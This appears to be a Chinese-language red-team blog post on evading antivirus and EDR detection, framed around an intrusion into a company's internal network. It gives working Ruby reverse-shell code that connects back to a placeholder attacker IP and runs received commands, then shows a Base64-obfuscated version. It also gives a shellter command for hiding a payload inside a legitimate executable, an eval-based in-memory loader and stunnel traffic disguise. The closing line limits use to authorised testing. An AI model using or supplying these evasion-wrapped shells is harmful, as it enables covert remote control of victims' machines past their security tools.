0x01 渗透实战:一次成功的免杀攻击

有一次我在执行一次红队行动时,目标是某家大型互联网公司的内网服务器。我们拿到了一个外包服务商的入口权限,而我们的目标是通过这个入口进行内网横向移动,最后控制整个域。这个过程中,免杀技术成了决定成败的关键。

黑客示意图

在这样的场景中,防御方通常会部署强大的EDR(端点检测与响应)解决方案,动不动就会拦截我们的载荷。因此,掌握免杀技术就成了获取成功的关键。

---

0x02 免杀技术概念:入侵者的隐形斗篷

在攻击者的视角下,免杀技术就是让我们的恶意载荷能够绕过目标环境中的安全软件检测,包括杀毒软件、EDR、IDS等。通常需要考虑以下几个方面:

  • 代码混淆:让恶意代码看起来不像恶意代码
  • 加壳/加密:通过加密或包装技术隐藏代码特征
  • 内存加载:避免在磁盘中留下痕迹,直接在内存中执行
  • 流量伪装:让控制流量看起来像正常流量

攻击原理:大多数安全软件依赖特征码和行为分析来检测恶意软件。我们的目标是让载荷在这些检测中不被识别。

黑客示意图

---

0x03 武器化免杀技术:从概念到实战

环境搭建:为了测试免杀效果,我使用了一台装有最新杀软的Windows虚拟机,以及一台Kali Linux作为攻击机。

以下是一个简单的Ruby脚本,用于生成一个基础的反向Shell载荷:

<pre><code class="language-ruby"># 这里是一个简单的反向Shell示例 require &#039;socket&#039;

host = &#039;攻击者IP&#039; # 攻击者的IP port = 4444 # 攻击者监听的端口

begin socket = TCPSocket.new(host, port) while line = socket.gets IO.popen(line, &#039;r&#039;) do |io| socket.puts io.read end end rescue sleep 5 retry end</code></pre>

在这个基础反向Shell上,我们要进行一系列免杀处理。

---

0x04 代码混淆:让代码变得难以猜测

为了躲避特征码检测,我们可以对上面的代码进行混淆。以下是一些常用的混淆方法:

  • 变量重命名:将所有的变量名、方法名替换为随机字符或无意义的名称。
  • 字符串分割:分割并重组敏感字符串,使其难以被检测到。
  • 编码混淆:将代码转换为编码格式,然后在运行时解码执行。

<pre><code class="language-ruby"># 混淆后的反向Shell示例 require &#039;base64&#039; require &#039;socket&#039;

host = Base64.decode64(&#039;攻击者IP的Base64&#039;) # 使用Base64编码 port = 4444

begin sock = TCPSocket.new(host, port) while cmd = sock.gets IO.popen(cmd, &#039;r&#039;) do |io| sock.puts io.read end end rescue sleep 5 retry end</code></pre>

此代码通过Base64编码隐藏了关键的IP地址信息。

---

0x05 加壳技术:外衣下的真相

加壳技术通过封装我们的载荷,使其变得更加难以分析。这里我们可以使用shellter工具,它能够自动将我们的载荷植入一个合法的PE文件中。

<pre><code class="language-shell"># 使用shellter进行PE文件加壳 $ shellter -a -f /path/to/legit.exe -s payload.bin -i</code></pre>

通过这种方式,我们可以利用合法软件的信任度来掩盖我们的恶意行为。

黑客示意图

---

0x06 内存加载与执行:不留痕迹的攻击

为了避免被检测到,我们可以使用内存加载技术。这样,即便我们的代码被杀软识别,也不会在磁盘上留下可疑文件。

在Ruby中,尽管直接内存加载不如其他语言(如C或C++)方便,但我们可以通过调用系统命令实现:

<pre><code class="language-ruby">payload = &quot;恶意代码的Base64编码&quot; decoded_payload = Base64.decode64(payload) eval(decoded_payload) # 动态加载并执行解码后的代码</code></pre>

这种方法的核心在于避免将恶意代码写入磁盘,直接在内存中解码并执行。

---

0x07 流量伪装:在网络中隐身

为了在网络中隐身,我们需要让控制流量看起来像合法的流量。这可以通过修改协议或使用HTTPS来实现。

  • HTTPS流量:通过加密通道传输我们的数据,不仅可以增加安全性,还能躲避很多流量检测工具。
  • 协议伪装:将我们的通信伪装成常见协议,如DNS、HTTP等,增加流量分析的难度。

我们可以使用stunnel工具为我们的反向Shell增加HTTPS支持:

<pre><code class="language-shell"># 使用stunnel搭建HTTPS隧道 $ stunnel stunnel.conf</code></pre>

配置文件stunnel.conf可以指定我们要使用的端口和证书文件。

---

黑客示意图

0x08 个人经验分享:从失败中总结经验

实战经验告诉我,免杀技术不是万能的,它依赖于目标环境的检测能力和我们的技术水平。经常在一次攻击中,我们需要反复测试和调整策略。

  • 保持更新:防御技术不断进步,我们的免杀技术也需要不断升级。
  • 多层次免杀:不要依赖于单一技术,多种技术结合使用,提高成功率。
  • 测试环境:在实际攻击前,尽量模拟目标环境进行测试,找出潜在的问题。

---

这些年来,免杀技术在我的红队行动中扮演了至关重要的角色,每一次成功的攻击背后都是对免杀技术的充分利用和创新。希望这篇文章能为你在实战中提供一些灵感。记住,所有的技术仅限于授权的安全测试和学习研究。